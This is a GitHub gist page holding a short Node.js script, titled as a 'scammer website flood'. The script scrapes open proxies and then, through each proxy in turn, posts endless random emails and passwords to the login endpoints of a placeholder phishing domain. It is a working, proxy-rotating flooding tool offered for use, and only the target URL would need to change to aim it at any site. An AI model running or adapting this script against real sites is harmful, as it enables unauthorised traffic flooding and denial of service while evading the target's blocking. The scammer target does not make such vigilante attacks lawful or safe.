Created
May 20, 2021 06:36
-
-
Save aboglioli/64a4cce0d75795664f637b2f89705785 to your computer and use it in GitHub Desktop.
Scammer website flood using proxy list
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const axios = require('axios'); | |
const HttpsProxyAgent = require('https-proxy-agent'); | |
const cheerio = require('cheerio'); | |
const getProxies = async () => { | |
const res = await axios.get('PROXY LIST'); | |
const $ = cheerio.load(res.data); | |
const elements = $( | |
'body > div.wrap > div.services_proxylist.services > div > div.table_block > table > tbody > tr', | |
).toArray(); | |
return elements.map(el => { | |
const ip = $(el).find('td:nth-child(1)').text(); | |
const port = $(el).find('td:nth-child(2)').text(); | |
return { ip, port }; | |
}); | |
}; | |
const randStr = () => Math.random().toString(36).replace(/[^a-z]+/g, ''); | |
const randEmail = () => `${randStr()}@${randStr()}.com`; | |
const randPassword = () => Math.random().toString(36).substr(1).replace('.', ''); | |
async function main() { | |
const proxies = await getProxies(); | |
console.log(`Proxies: ${proxies.length}`); | |
for (const proxy of proxies) { | |
console.log(`Proxy: ${proxy.ip}:${proxy.port}`); | |
const httpsAgent = new HttpsProxyAgent({ host: proxy.ip, port: proxy.port }); | |
const client = axios.create({ httpsAgent }); | |
try { | |
for (;;) { | |
const email = randEmail(); | |
const password = randPassword(); | |
await client.post('https://scammerdomain.com/validar/login.php', { email }); | |
console.log(`- Email: ${email}`); | |
await client.post('https://scammerdomain.com/validar/codigo.php', { password }); | |
console.log(`- Password: ${password}`); | |
} | |
} catch (err) { | |
console.log('- Error:', err.message); | |
} | |
} | |
} | |
main(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment